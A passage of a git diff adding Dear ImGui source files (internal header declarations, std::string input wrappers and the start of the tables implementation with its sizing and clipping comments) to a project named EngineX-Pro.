void TableSetColumnWidth(int column_n, float width); + IMGUI_API void TableSetColumnSortDirection(int column_n, ImGuiSortDirection sort_direction, bool append_to_sort_specs); + IMGUI_API int TableGetHoveredColumn(); // May use (TableGetColumnFlags() & ImGuiTableColumnFlags_IsHovered) instead. Return hovered column. return -1 when table is not hovered. return columns_count if the unused space at the right of visible columns is hovered. + IMGUI_API float TableGetHeaderRowHeight(); + IMGUI_API void TablePushBackgroundChannel(); + IMGUI_API void TablePopBackgroundChannel(); + + // Tables: Internals + IMGUI_API ImGuiTable* TableFindByID(ImGuiID id); + IMGUI_API bool BeginTableEx(const char* name, ImGuiID id, int columns_count, ImGuiTableFlags flags = 0, const ImVec2& outer_size = ImVec2(0, 0), float inner_width = 0.0f); + IMGUI_API void TableBeginInitMemory(ImGuiTable* table, int columns_count); + IMGUI_API void TableBeginApplyRequests(ImGuiTable* table); + IMGUI_API void TableSetupDrawChannels(ImGuiTable* table); + IMGUI_API void TableUpdateLayout(ImGuiTable* table); + IMGUI_API void TableUpdateBorders(ImGuiTable* table); + IMGUI_API void TableUpdateColumnsWeightFromWidth(ImGuiTable* table); + IMGUI_API void TableDrawBorders(ImGuiTable* table); + IMGUI_API void TableDrawContextMenu(ImGuiTable* table); + IMGUI_API void TableMergeDrawChannels(ImGuiTable* table); + IMGUI_API void TableSortSpecsSanitize(ImGuiTable* table); + IMGUI_API void TableSortSpecsBuild(ImGuiTable* table); + IMGUI_API ImGuiSortDirection TableGetColumnNextSortDirection(ImGuiTableColumn* column); + IMGUI_API void TableFixColumnSortDirection(ImGuiTable* table, ImGuiTableColumn* column); + IMGUI_API float TableGetColumnWidthAuto(ImGuiTable* table, ImGuiTableColumn* column); + IMGUI_API void TableBeginRow(ImGuiTable* table); + IMGUI_API void TableEndRow(ImGuiTable* table); + IMGUI_API void TableBeginCell(ImGuiTable* table, int column_n); + IMGUI_API void TableEndCell(ImGuiTable* table); + IMGUI_API ImRect TableGetCellBgRect(const ImGuiTable* table, int column_n); + IMGUI_API const char* TableGetColumnName(const ImGuiTable* table, int column_n); + IMGUI_API ImGuiID TableGetColumnResizeID(const ImGuiTable* table, int column_n, int instance_no = 0); + IMGUI_API float TableGetMaxColumnWidth(const ImGuiTable* table, int column_n); + IMGUI_API void TableSetColumnWidthAutoSingle(ImGuiTable* table, int column_n); + IMGUI_API void TableSetColumnWidthAutoAll(ImGuiTable* table); + IMGUI_API void TableRemove(ImGuiTable* table); + IMGUI_API void TableGcCompactTransientBuffers(ImGuiTable* table); + IMGUI_API void TableGcCompactSettings(); + + // Tables: Settings + IMGUI_API void TableLoadSettings(ImGuiTable* table); + IMGUI_API void TableSaveSettings(ImGuiTable* table); + IMGUI_API void TableResetSettings(ImGuiTable* table); + IMGUI_API ImGuiTableSettings* TableGetBoundSettings(ImGuiTable* table); + IMGUI_API void TableSettingsInstallHandler(ImGuiContext* context); + IMGUI_API ImGuiTableSettings* TableSettingsCreate(ImGuiID id, int columns_count); + IMGUI_API ImGuiTableSettings* TableSettingsFindByID(ImGuiID id); + + // Tab Bars + IMGUI_API bool BeginTabBarEx(ImGuiTabBar* tab_bar, const ImRect& bb, ImGuiTabBarFlags flags); + IMGUI_API ImGuiTabItem* TabBarFindTabByID(ImGuiTabBar* tab_bar, ImGuiID tab_id); + IMGUI_API void TabBarRemoveTab(ImGuiTabBar* tab_bar, ImGuiID tab_id); + IMGUI_API void TabBarCloseTab(ImGuiTabBar* tab_bar, ImGuiTabItem* tab); + IMGUI_API void TabBarQueueReorder(ImGuiTabBar* tab_bar, const ImGuiTabItem* tab, int dir); + IMGUI_API bool TabBarProcessReorder(ImGuiTabBar* tab_bar); + IMGUI_API bool TabItemEx(ImGuiTabBar* tab_bar, const char* label, bool* p_open, ImGuiTabItemFlags flags); + IMGUI_API ImVec2 TabItemCalcSize(const char* label, bool has_close_button); + IMGUI_API void TabItemBackground(ImDrawList* draw_list, const ImRect& bb, ImGuiTabItemFlags flags, ImU32 col); + IMGUI_API void TabItemLabelAndCloseButton(ImDrawList* draw_list, const ImRect& bb, ImGuiTabItemFlags flags, ImVec2 frame_padding, const char* label, ImGuiID tab_id, ImGuiID close_button_id, bool is_contents_visible, bool* out_just_closed, bool* out_text_clipped); + + // Render helpers + // AVOID USING OUTSIDE OF IMGUI.CPP! NOT FOR PUBLIC CONSUMPTION. THOSE FUNCTIONS ARE A MESS. THEIR SIGNATURE AND BEHAVIOR WILL CHANGE, THEY NEED TO BE REFACTORED INTO SOMETHING DECENT. + // NB: All position are in absolute pixels coordinates (we are never using window coordinates internally) + IMGUI_API void RenderText(ImVec2 pos, const char* text, const char* text_end = NULL, bool hide_text_after_hash = true); + IMGUI_API void RenderTextWrapped(ImVec2 pos, const char* text, const char* text_end, float wrap_width); + IMGUI_API void RenderTextClipped(const ImVec2& pos_min, const ImVec2& pos_max, const char* text, const char* text_end, const ImVec2* text_size_if_known, const ImVec2& align = ImVec2(0, 0), const ImRect* clip_rect = NULL); + IMGUI_API void RenderTextClippedEx(ImDrawList* draw_list, const ImVec2& pos_min, const ImVec2& pos_max, const char* text, const char* text_end, const ImVec2* text_size_if_known, const ImVec2& align = ImVec2(0, 0), const ImRect* clip_rect = NULL); + IMGUI_API void RenderTextEllipsis(ImDrawList* draw_list, const ImVec2& pos_min, const ImVec2& pos_max, float clip_max_x, float ellipsis_max_x, const char* text, const char* text_end, const ImVec2* text_size_if_known); + IMGUI_API void RenderFrame(ImVec2 p_min, ImVec2 p_max, ImU32 fill_col, bool border = true, float rounding = 0.0f); + IMGUI_API void RenderFrameBorder(ImVec2 p_min, ImVec2 p_max, float rounding = 0.0f); + IMGUI_API void RenderColorRectWithAlphaCheckerboard(ImDrawList* draw_list, ImVec2 p_min, ImVec2 p_max, ImU32 fill_col, float grid_step, ImVec2 grid_off, float rounding = 0.0f, int rounding_corners_flags = ~0); + IMGUI_API void RenderNavHighlight(const ImRect& bb, ImGuiID id, ImGuiNavHighlightFlags flags = ImGuiNavHighlightFlags_TypeDefault); // Navigation highlight + IMGUI_API const char* FindRenderedTextEnd(const char* text, const char* text_end = NULL); // Find the optional ## from which we stop displaying text. + IMGUI_API void LogRenderedText(const ImVec2* ref_pos, const char* text, const char* text_end = NULL); + + // Render helpers (those functions don't access any ImGui state!) + IMGUI_API void RenderArrow(ImDrawList* draw_list, ImVec2 pos, ImU32 col, ImGuiDir dir, float scale = 1.0f); + IMGUI_API void RenderBullet(ImDrawList* draw_list, ImVec2 pos, ImU32 col); + IMGUI_API void RenderCheckMark(ImDrawList* draw_list, ImVec2 pos, ImU32 col, float sz); + IMGUI_API void RenderMouseCursor(ImDrawList* draw_list, ImVec2 pos, float scale, ImGuiMouseCursor mouse_cursor, ImU32 col_fill, ImU32 col_border, ImU32 col_shadow); + IMGUI_API void RenderArrowPointingAt(ImDrawList* draw_list, ImVec2 pos, ImVec2 half_sz, ImGuiDir direction, ImU32 col); + IMGUI_API void RenderRectFilledRangeH(ImDrawList* draw_list, const ImRect& rect, ImU32 col, float x_start_norm, float x_end_norm, float rounding); + IMGUI_API void RenderRectFilledWithHole(ImDrawList* draw_list, ImRect outer, ImRect inner, ImU32 col, float rounding); + +#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS + // [1.71: 2019/06/07: Updating prototypes of some of the internal functions. Leaving those for reference for a short while] + inline void RenderArrow(ImVec2 pos, ImGuiDir dir, float scale=1.0f) { ImGuiWindow* window = GetCurrentWindow(); RenderArrow(window->DrawList, pos, GetColorU32(ImGuiCol_Text), dir, scale); } + inline void RenderBullet(ImVec2 pos) { ImGuiWindow* window = GetCurrentWindow(); RenderBullet(window->DrawList, pos, GetColorU32(ImGuiCol_Text)); } +#endif + + // Widgets + IMGUI_API void TextEx(const char* text, const char* text_end = NULL, ImGuiTextFlags flags = 0); + IMGUI_API bool ButtonEx(const char* label, const ImVec2& size_arg = ImVec2(0, 0), ImGuiButtonFlags flags = 0); + IMGUI_API bool CloseButton(ImGuiID id, const ImVec2& pos); + IMGUI_API bool CollapseButton(ImGuiID id, const ImVec2& pos); + IMGUI_API bool ArrowButtonEx(const char* str_id, ImGuiDir dir, ImVec2 size_arg, ImGuiButtonFlags flags = 0); + IMGUI_API void Scrollbar(ImGuiAxis axis); + IMGUI_API bool ScrollbarEx(const ImRect& bb, ImGuiID id, ImGuiAxis axis, float* p_scroll_v, float avail_v, float contents_v, ImDrawCornerFlags rounding_corners); + IMGUI_API bool ImageButtonEx(ImGuiID id, ImTextureID texture_id, const ImVec2& size, const ImVec2& uv0, const ImVec2& uv1, const ImVec2& padding, const ImVec4& bg_col, const ImVec4& tint_col); + IMGUI_API ImRect GetWindowScrollbarRect(ImGuiWindow* window, ImGuiAxis axis); + IMGUI_API ImGuiID GetWindowScrollbarID(ImGuiWindow* window, ImGuiAxis axis); + IMGUI_API ImGuiID GetWindowResizeID(ImGuiWindow* window, int n); // 0..3: corners, 4..7: borders + IMGUI_API void SeparatorEx(ImGuiSeparatorFlags flags); + + // Widgets low-level behaviors + IMGUI_API bool ButtonBehavior(const ImRect& bb, ImGuiID id, bool* out_hovered, bool* out_held, ImGuiButtonFlags flags = 0); + IMGUI_API bool DragBehavior(ImGuiID id, ImGuiDataType data_type, void* p_v, float v_speed, const void* p_min, const void* p_max, const char* format, ImGuiSliderFlags flags); + IMGUI_API bool SliderBehavior(const ImRect& bb, ImGuiID id, ImGuiDataType data_type, void* p_v, const void* p_min, const void* p_max, const char* format, ImGuiSliderFlags flags, ImRect* out_grab_bb); + IMGUI_API bool SplitterBehavior(const ImRect& bb, ImGuiID id, ImGuiAxis axis, float* size1, float* size2, float min_size1, float min_size2, float hover_extend = 0.0f, float hover_visibility_delay = 0.0f); + IMGUI_API bool TreeNodeBehavior(ImGuiID id, ImGuiTreeNodeFlags flags, const char* label, const char* label_end = NULL); + IMGUI_API bool TreeNodeBehaviorIsOpen(ImGuiID id, ImGuiTreeNodeFlags flags = 0); // Consume previous SetNextItemOpen() data, if any. May return true when logging + IMGUI_API void TreePushOverrideID(ImGuiID id); + + // Template functions are instantiated in imgui_widgets.cpp for a finite number of types. + // To use them externally (for custom widget) you may need an "extern template" statement in your code in order to link to existing instances and silence Clang warnings (see #2036). + // e.g. " extern template IMGUI_API float RoundScalarWithFormatT(const char* format, ImGuiDataType data_type, float v); " + template IMGUI_API float ScaleRatioFromValueT(ImGuiDataType data_type, T v, T v_min, T v_max, bool is_logarithmic, float logarithmic_zero_epsilon, float zero_deadzone_size); + template IMGUI_API T ScaleValueFromRatioT(ImGuiDataType data_type, float t, T v_min, T v_max, bool is_logarithmic, float logarithmic_zero_epsilon, float zero_deadzone_size); + template IMGUI_API bool DragBehaviorT(ImGuiDataType data_type, T* v, float v_speed, T v_min, T v_max, const char* format, ImGuiSliderFlags flags); + template IMGUI_API bool SliderBehaviorT(const ImRect& bb, ImGuiID id, ImGuiDataType data_type, T* v, T v_min, T v_max, const char* format, ImGuiSliderFlags flags, ImRect* out_grab_bb); + template IMGUI_API T RoundScalarWithFormatT(const char* format, ImGuiDataType data_type, T v); + template IMGUI_API bool CheckboxFlagsT(const char* label, T* flags, T flags_value); + + // Data type helpers + IMGUI_API const ImGuiDataTypeInfo* DataTypeGetInfo(ImGuiDataType data_type); + IMGUI_API int DataTypeFormatString(char* buf, int buf_size, ImGuiDataType data_type, const void* p_data, const char* format); + IMGUI_API void DataTypeApplyOp(ImGuiDataType data_type, int op, void* output, const void* arg_1, const void* arg_2); + IMGUI_API bool DataTypeApplyOpFromText(const char* buf, const char* initial_value_buf, ImGuiDataType data_type, void* p_data, const char* format); + IMGUI_API int DataTypeCompare(ImGuiDataType data_type, const void* arg_1, const void* arg_2); + IMGUI_API bool DataTypeClamp(ImGuiDataType data_type, void* p_data, const void* p_min, const void* p_max); + + // InputText + IMGUI_API bool InputTextEx(const char* label, const char* hint, char* buf, int buf_size, const ImVec2& size_arg, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback = NULL, void* user_data = NULL); + IMGUI_API bool TempInputText(const ImRect& bb, ImGuiID id, const char* label, char* buf, int buf_size, ImGuiInputTextFlags flags); + IMGUI_API bool TempInputScalar(const ImRect& bb, ImGuiID id, const char* label, ImGuiDataType data_type, void* p_data, const char* format, const void* p_clamp_min = NULL, const void* p_clamp_max = NULL); + inline bool TempInputIsActive(ImGuiID id) { ImGuiContext& g = *GImGui; return (g.ActiveId == id && g.TempInputId == id); } + inline ImGuiInputTextState* GetInputTextState(ImGuiID id) { ImGuiContext& g = *GImGui; return (g.InputTextState.ID == id) ? &g.InputTextState : NULL; } // Get input text state if active + + // Color + IMGUI_API void ColorTooltip(const char* text, const float* col, ImGuiColorEditFlags flags); + IMGUI_API void ColorEditOptionsPopup(const float* col, ImGuiColorEditFlags flags); + IMGUI_API void ColorPickerOptionsPopup(const float* ref_col, ImGuiColorEditFlags flags); + + // Plot + IMGUI_API int PlotEx(ImGuiPlotType plot_type, const char* label, float (*values_getter)(void* data, int idx), void* data, int values_count, int values_offset, const char* overlay_text, float scale_min, float scale_max, ImVec2 frame_size); + + // Shade functions (write over already created vertices) + IMGUI_API void ShadeVertsLinearColorGradientKeepAlpha(ImDrawList* draw_list, int vert_start_idx, int vert_end_idx, ImVec2 gradient_p0, ImVec2 gradient_p1, ImU32 col0, ImU32 col1); + IMGUI_API void ShadeVertsLinearUV(ImDrawList* draw_list, int vert_start_idx, int vert_end_idx, const ImVec2& a, const ImVec2& b, const ImVec2& uv_a, const ImVec2& uv_b, bool clamp); + + // Garbage collection + IMGUI_API void GcCompactTransientMiscBuffers(); + IMGUI_API void GcCompactTransientWindowBuffers(ImGuiWindow* window); + IMGUI_API void GcAwakeTransientWindowBuffers(ImGuiWindow* window); + + // Debug Tools + IMGUI_API void ErrorCheckEndFrameRecover(ImGuiErrorLogCallback log_callback, void* user_data = NULL); + inline void DebugDrawItemRect(ImU32 col = IM_COL32(255,0,0,255)) { ImGuiContext& g = *GImGui; ImGuiWindow* window = g.CurrentWindow; GetForegroundDrawList(window)->AddRect(window->DC.LastItemRect.Min, window->DC.LastItemRect.Max, col); } + inline void DebugStartItemPicker() { ImGuiContext& g = *GImGui; g.DebugItemPickerActive = true; } + + IMGUI_API void DebugNodeColumns(ImGuiOldColumns* columns); + IMGUI_API void DebugNodeDrawList(ImGuiWindow* window, const ImDrawList* draw_list, const char* label); + IMGUI_API void DebugNodeDrawCmdShowMeshAndBoundingBox(ImGuiWindow* window, const ImDrawList* draw_list, const ImDrawCmd* draw_cmd, bool show_mesh, bool show_aabb); + IMGUI_API void DebugNodeStorage(ImGuiStorage* storage, const char* label); + IMGUI_API void DebugNodeTabBar(ImGuiTabBar* tab_bar, const char* label); + IMGUI_API void DebugNodeTable(ImGuiTable* table); + IMGUI_API void DebugNodeTableSettings(ImGuiTableSettings* settings); + IMGUI_API void DebugNodeWindow(ImGuiWindow* window, const char* label); + IMGUI_API void DebugNodeWindowSettings(ImGuiWindowSettings* settings); + IMGUI_API void DebugNodeWindowsList(ImVector* windows, const char* label); + +} // namespace ImGui + +// ImFontAtlas internals +IMGUI_API bool ImFontAtlasBuildWithStbTruetype(ImFontAtlas* atlas); +IMGUI_API void ImFontAtlasBuildInit(ImFontAtlas* atlas); +IMGUI_API void ImFontAtlasBuildSetupFont(ImFontAtlas* atlas, ImFont* font, ImFontConfig* font_config, float ascent, float descent); +IMGUI_API void ImFontAtlasBuildPackCustomRects(ImFontAtlas* atlas, void* stbrp_context_opaque); +IMGUI_API void ImFontAtlasBuildFinish(ImFontAtlas* atlas); +IMGUI_API void ImFontAtlasBuildRender1bppRectFromString(ImFontAtlas* atlas, int atlas_x, int atlas_y, int w, int h, const char* in_str, char in_marker_char, unsigned char in_marker_pixel_value); +IMGUI_API void ImFontAtlasBuildMultiplyCalcLookupTable(unsigned char out_table[256], float in_multiply_factor); +IMGUI_API void ImFontAtlasBuildMultiplyRectAlpha8(const unsigned char table[256], unsigned char* pixels, int x, int y, int w, int h, int stride); + +//----------------------------------------------------------------------------- +// [SECTION] Test Engine specific hooks (imgui_test_engine) +//----------------------------------------------------------------------------- + +#ifdef IMGUI_ENABLE_TEST_ENGINE +extern void ImGuiTestEngineHook_ItemAdd(ImGuiContext* ctx, const ImRect& bb, ImGuiID id); +extern void ImGuiTestEngineHook_ItemInfo(ImGuiContext* ctx, ImGuiID id, const char* label, ImGuiItemStatusFlags flags); +extern void ImGuiTestEngineHook_IdInfo(ImGuiContext* ctx, ImGuiDataType data_type, ImGuiID id, const void* data_id); +extern void ImGuiTestEngineHook_IdInfo(ImGuiContext* ctx, ImGuiDataType data_type, ImGuiID id, const void* data_id, const void* data_id_end); +extern void ImGuiTestEngineHook_Log(ImGuiContext* ctx, const char* fmt, ...); +#define IMGUI_TEST_ENGINE_ITEM_ADD(_BB,_ID) if (g.TestEngineHookItems) ImGuiTestEngineHook_ItemAdd(&g, _BB, _ID) // Register item bounding box +#define IMGUI_TEST_ENGINE_ITEM_INFO(_ID,_LABEL,_FLAGS) if (g.TestEngineHookItems) ImGuiTestEngineHook_ItemInfo(&g, _ID, _LABEL, _FLAGS) // Register item label and status flags (optional) +#define IMGUI_TEST_ENGINE_LOG(_FMT,...) if (g.TestEngineHookItems) ImGuiTestEngineHook_Log(&g, _FMT, __VA_ARGS__) // Custom log entry from user land into test log +#define IMGUI_TEST_ENGINE_ID_INFO(_ID,_TYPE,_DATA) if (g.TestEngineHookIdInfo == id) ImGuiTestEngineHook_IdInfo(&g, _TYPE, _ID, (const void*)(_DATA)); +#define IMGUI_TEST_ENGINE_ID_INFO2(_ID,_TYPE,_DATA,_DATA2) if (g.TestEngineHookIdInfo == id) ImGuiTestEngineHook_IdInfo(&g, _TYPE, _ID, (const void*)(_DATA), (const void*)(_DATA2)); +#else +#define IMGUI_TEST_ENGINE_ITEM_ADD(_BB,_ID) do { } while (0) +#define IMGUI_TEST_ENGINE_ITEM_INFO(_ID,_LABEL,_FLAGS) do { } while (0) +#define IMGUI_TEST_ENGINE_LOG(_FMT,...) do { } while (0) +#define IMGUI_TEST_ENGINE_ID_INFO(_ID,_TYPE,_DATA) do { } while (0) +#define IMGUI_TEST_ENGINE_ID_INFO2(_ID,_TYPE,_DATA,_DATA2) do { } while (0) +#endif + +//----------------------------------------------------------------------------- + +#if defined(__clang__) +#pragma clang diagnostic pop +#elif defined(__GNUC__) +#pragma GCC diagnostic pop +#endif + +#ifdef _MSC_VER +#pragma warning (pop) +#endif + +#endif // #ifndef IMGUI_DISABLE diff --git a/EngineX-Pro/ImGui/imgui_stdlib.cpp b/EngineX-Pro/ImGui/imgui_stdlib.cpp new file mode 100644 index 0000000..cb1fe17 --- /dev/null +++ b/EngineX-Pro/ImGui/imgui_stdlib.cpp @@ -0,0 +1,76 @@ +// dear imgui: wrappers for C++ standard library (STL) types (std::string, etc.) +// This is also an example of how you may wrap your own similar types. + +// Compatibility: +// - std::string support is only guaranteed to work from C++11. +// If you try to use it pre-C++11, please share your findings (w/ info about compiler/architecture) + +// Changelog: +// - v0.10: Initial version. Added InputText() / InputTextMultiline() calls with std::string + +#include "imgui.h" +#include "imgui_stdlib.h" + +struct InputTextCallback_UserData +{ + std::string* Str; + ImGuiInputTextCallback ChainCallback; + void* ChainCallbackUserData; +}; + +static int InputTextCallback(ImGuiInputTextCallbackData* data) +{ + InputTextCallback_UserData* user_data = (InputTextCallback_UserData*)data->UserData; + if (data->EventFlag == ImGuiInputTextFlags_CallbackResize) + { + // Resize string callback + // If for some reason we refuse the new length (BufTextLen) and/or capacity (BufSize) we need to set them back to what we want. + std::string* str = user_data->Str; + IM_ASSERT(data->Buf == str->c_str()); + str->resize(data->BufTextLen); + data->Buf = (char*)str->c_str(); + } + else if (user_data->ChainCallback) + { + // Forward to user callback, if any + data->UserData = user_data->ChainCallbackUserData; + return user_data->ChainCallback(data); + } + return 0; +} + +bool ImGui::InputText(const char* label, std::string* str, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, void* user_data) +{ + IM_ASSERT((flags & ImGuiInputTextFlags_CallbackResize) == 0); + flags |= ImGuiInputTextFlags_CallbackResize; + + InputTextCallback_UserData cb_user_data; + cb_user_data.Str = str; + cb_user_data.ChainCallback = callback; + cb_user_data.ChainCallbackUserData = user_data; + return InputText(label, (char*)str->c_str(), str->capacity() + 1, flags, InputTextCallback, &cb_user_data); +} + +bool ImGui::InputTextMultiline(const char* label, std::string* str, const ImVec2& size, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, void* user_data) +{ + IM_ASSERT((flags & ImGuiInputTextFlags_CallbackResize) == 0); + flags |= ImGuiInputTextFlags_CallbackResize; + + InputTextCallback_UserData cb_user_data; + cb_user_data.Str = str; + cb_user_data.ChainCallback = callback; + cb_user_data.ChainCallbackUserData = user_data; + return InputTextMultiline(label, (char*)str->c_str(), str->capacity() + 1, size, flags, InputTextCallback, &cb_user_data); +} + +bool ImGui::InputTextWithHint(const char* label, const char* hint, std::string* str, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, void* user_data) +{ + IM_ASSERT((flags & ImGuiInputTextFlags_CallbackResize) == 0); + flags |= ImGuiInputTextFlags_CallbackResize; + + InputTextCallback_UserData cb_user_data; + cb_user_data.Str = str; + cb_user_data.ChainCallback = callback; + cb_user_data.ChainCallbackUserData = user_data; + return InputTextWithHint(label, hint, (char*)str->c_str(), str->capacity() + 1, flags, InputTextCallback, &cb_user_data); +} diff --git a/EngineX-Pro/ImGui/imgui_stdlib.h b/EngineX-Pro/ImGui/imgui_stdlib.h new file mode 100644 index 0000000..f860b0c --- /dev/null +++ b/EngineX-Pro/ImGui/imgui_stdlib.h @@ -0,0 +1,22 @@ +// dear imgui: wrappers for C++ standard library (STL) types (std::string, etc.) +// This is also an example of how you may wrap your own similar types. + +// Compatibility: +// - std::string support is only guaranteed to work from C++11. +// If you try to use it pre-C++11, please share your findings (w/ info about compiler/architecture) + +// Changelog: +// - v0.10: Initial version. Added InputText() / InputTextMultiline() calls with std::string + +#pragma once + +#include + +namespace ImGui +{ + // ImGui::InputText() with std::string + // Because text input needs dynamic resizing, we need to setup a callback to grow the capacity + IMGUI_API bool InputText(const char* label, std::string* str, ImGuiInputTextFlags flags = 0, ImGuiInputTextCallback callback = NULL, void* user_data = NULL); + IMGUI_API bool InputTextMultiline(const char* label, std::string* str, const ImVec2& size = ImVec2(0, 0), ImGuiInputTextFlags flags = 0, ImGuiInputTextCallback callback = NULL, void* user_data = NULL); + IMGUI_API bool InputTextWithHint(const char* label, const char* hint, std::string* str, ImGuiInputTextFlags flags = 0, ImGuiInputTextCallback callback = NULL, void* user_data = NULL); +} diff --git a/EngineX-Pro/ImGui/imgui_tables.cpp b/EngineX-Pro/ImGui/imgui_tables.cpp new file mode 100644 index 0000000..a942af2 --- /dev/null +++ b/EngineX-Pro/ImGui/imgui_tables.cpp @@ -0,0 +1,3835 @@ +// dear imgui, v1.80 WIP +// (tables and columns code) + +/* + +Index of this file: + +// [SECTION] Tables: Main code +// [SECTION] Tables: Row changes +// [SECTION] Tables: Columns changes +// [SECTION] Tables: Columns width management +// [SECTION] Tables: Drawing +// [SECTION] Tables: Sorting +// [SECTION] Tables: Headers +// [SECTION] Tables: Context Menu +// [SECTION] Tables: Settings (.ini data) +// [SECTION] Tables: Garbage Collection +// [SECTION] Tables: Debugging +// [SECTION] Columns, BeginColumns, EndColumns, etc. + +*/ + +// Navigating this file: +// - In Visual Studio IDE: CTRL+comma ("Edit.NavigateTo") can follow symbols in comments, whereas CTRL+F12 ("Edit.GoToImplementation") cannot. +// - With Visual Assist installed: ALT+G ("VAssistX.GoToImplementation") can also follow symbols in comments. + +//----------------------------------------------------------------------------- +// Typical tables call flow: (root level is generally public API): +//----------------------------------------------------------------------------- +// - BeginTable() user begin into a table +// | BeginChild() - (if ScrollX/ScrollY is set) +// | TableBeginInitMemory() - first time table is used +// | TableResetSettings() - on settings reset +// | TableLoadSettings() - on settings load +// | TableBeginApplyRequests() - apply queued resizing/reordering/hiding requests +// | - TableSetColumnWidth() - apply resizing width (for mouse resize, often requested by previous frame) +// | - TableUpdateColumnsWeightFromWidth()- recompute columns weights (of stretch columns) from their respective width +// - TableSetupColumn() user submit columns details (optional) +// - TableSetupScrollFreeze() user submit scroll freeze information (optional) +//----------------------------------------------------------------------------- +// - TableUpdateLayout() [Internal] followup to BeginTable(): setup everything: widths, columns positions, clipping rectangles. Automatically called by the FIRST call to TableNextRow() or TableHeadersRow(). +// | TableSetupDrawChannels() - setup ImDrawList channels +// | TableUpdateBorders() - detect hovering columns for resize, ahead of contents submission +// | TableDrawContextMenu() - draw right-click context menu +//----------------------------------------------------------------------------- +// - TableHeadersRow() or TableHeader() user submit a headers row (optional) +// | TableSortSpecsClickColumn() - when left-clicked: alter sort order and sort direction +// | TableOpenContextMenu() - when right-clicked: trigger opening of the default context menu +// - TableGetSortSpecs() user queries updated sort specs (optional, generally after submitting headers) +// - TableNextRow() user begin into a new row (also automatically called by TableHeadersRow()) +// | TableEndRow() - finish existing row +// | TableBeginRow() - add a new row +// - TableSetColumnIndex() / TableNextColumn() user begin into a cell +// | TableEndCell() - close existing column/cell +// | TableBeginCell() - enter into current column/cell +// - [...] user emit contents +//----------------------------------------------------------------------------- +// - EndTable() user ends the table +// | TableDrawBorders() - draw outer borders, inner vertical borders +// | TableMergeDrawChannels() - merge draw channels if clipping isn't required +// | EndChild() - (if ScrollX/ScrollY is set) +//----------------------------------------------------------------------------- + +//----------------------------------------------------------------------------- +// TABLE SIZING +//----------------------------------------------------------------------------- +// (Read carefully because this is subtle but it does make sense!) +//----------------------------------------------------------------------------- +// About 'outer_size': +// Its meaning needs to differ slightly depending of if we are using ScrollX/ScrollY flags. +// Default value is ImVec2(-FLT_MIN, 0.0f). When binding this in a scripting language please follow this default value. +// X +// - outer_size.x < 0.0f -> Right-align from window/work-rect right-most edge. With -FLT_MIN will right-align exactly on right-most edge. With -1.0f will right-align one pixel away from right-most edge. +// - outer_size.x = 0.0f -> Auto width. Generally use all available width. When NOT using scrolling and NOT using any Stretch column, use only necessary width, otherwise same as -FLT_MIN. +// - outer_size.x > 0.0f -> Fixed width. +// Y with ScrollX/ScrollY disabled: we output table directly in current window +// - outer_size.y < 0.0f -> Bottom-align (but will auto extend, unless NoHostExtendV is set) +// - outer_size.y = 0.0f -> No minimum height (but will auto extend, unless NoHostExtendV is set) +// - outer_size.y > 0.0f -> Set Minimum height (but will auto extend, unless NoHostExtendV is set) +// Y with ScrollX/ScrollY enabled: using a child window for scrolling +// - outer_size.y < 0.0f -> Bottom-align +// - outer_size.y = 0.0f -> Bottom-align, consistent with BeginChild(). Not recommended unless table is last item in parent window. +// - outer_size.y > 0.0f -> Set Exact height. Recommended when using Scrolling on any axis. +//----------------------------------------------------------------------------- +// About 'inner_width': +// With ScrollX disabled: +// - inner_width -> *ignored* +// With ScrollX enable: +// - inner_width < 0.0f -> *illegal* fit in known width (right align from outer_size.x) <-- weird +// - inner_width = 0.0f -> fit in outer_width: Fixed size columns will take space they need (if avail, otherwise shrink down), Stretch columns becomes Fixed columns. +// - inner_width > 0.0f -> override scrolling width, generally to be larger than outer_size.x. Fixed column take space they need (if avail, otherwise shrink down), Stretch columns share remaining space! +//----------------------------------------------------------------------------- +// Details: +// - If you want to use Stretch columns with ScrollX, you generally need to specify 'inner_width' otherwise the concept +// of "available space" doesn't make sense. +// - Even if not really useful, we allow 'inner_width < outer_size.x' for consistency and to facilitate understanding +// of what the value does. +//----------------------------------------------------------------------------- + +//----------------------------------------------------------------------------- +// COLUMNS SIZING POLICIES +//----------------------------------------------------------------------------- +// About overriding column width/weight with TableSetupColumn(): +// We use a default parameter of 'init_width_or_weight == -1'. +// - With ImGuiTableColumnFlags_WidthAuto, init_width (ignored) --> width is automatic +// - With ImGuiTableColumnFlags_WidthFixed, init_width <= 0 (default) --> width is automatic +// - With ImGuiTableColumnFlags_WidthFixed, init_width > 0 (explicit) --> width is custom +// - With ImGuiTableColumnFlags_WidthStretch, init_weight <= 0 (default) --> weight is 1.0f +// - With ImGuiTableColumnFlags_WidthStretch, init_weight > 0 (explicit) --> weight is custom +// Widths are specified _without_ CellPadding. If you specify a width of 100.0f, the column will be cover (100.0f + Padding * 2.0f) +// and you can fit a 100.0f wide item in it without clipping and with full padding. +//----------------------------------------------------------------------------- +// About default width policy (if you don't specify a ImGuiTableColumnFlags_WidthXXXX flag) +// - When Table policy ImGuiTableFlags_SizingPolicyStretch --> default Column policy is ImGuiTableColumnFlags_WidthStretch +// - When Table policy ImGuiTableFlags_SizingPolicyFixed and (Table is Resizable or init_width > 0) --> default Column policy is ImGuiTableColumnFlags_WidthFixed +// - When Table policy ImGuiTableFlags_SizingPolicyFixed and (Table is not Resizable and init_width <= 0) --> default Column policy is ImGuiTableColumnFlags_WidthAuto +//----------------------------------------------------------------------------- + +//----------------------------------------------------------------------------- +// TABLES CLIPPING/CULLING +//----------------------------------------------------------------------------- +// About clipping/culling of Rows in Tables: +// - For large numbers of rows, it is recommended you use ImGuiListClipper to only submit visible rows. +// ImGuiListClipper is reliant on the fact that rows are of equal height. +// See 'Demo->Tables->Vertical Scrolling' or 'Demo->Tables->Advanced' for a demo of using the clipper. +// - Note that columns with the ImGuiTableColumnFlags_WidthAuto policy generally don't play well with using the clipper, +// and by default a table with _ScrollX but without _Resizable will have columns default to _WidthAuto. +// So, if you want to use the clipper, make sure to either enable _Resizable, either setup columns explicitly with _WidthFixed. +//----------------------------------------------------------------------------- +// About clipping/culling of Columns in Tables: +// - Case A: column is not hidden by user, and at least partially in sight (most common case). +// - Case B: column is clipped / out of sight (because of scrolling or parent ClipRect): TableNextColumn() return false as a hint but we still allow layout output. +// - Case C: column is hidden explicitly by the user 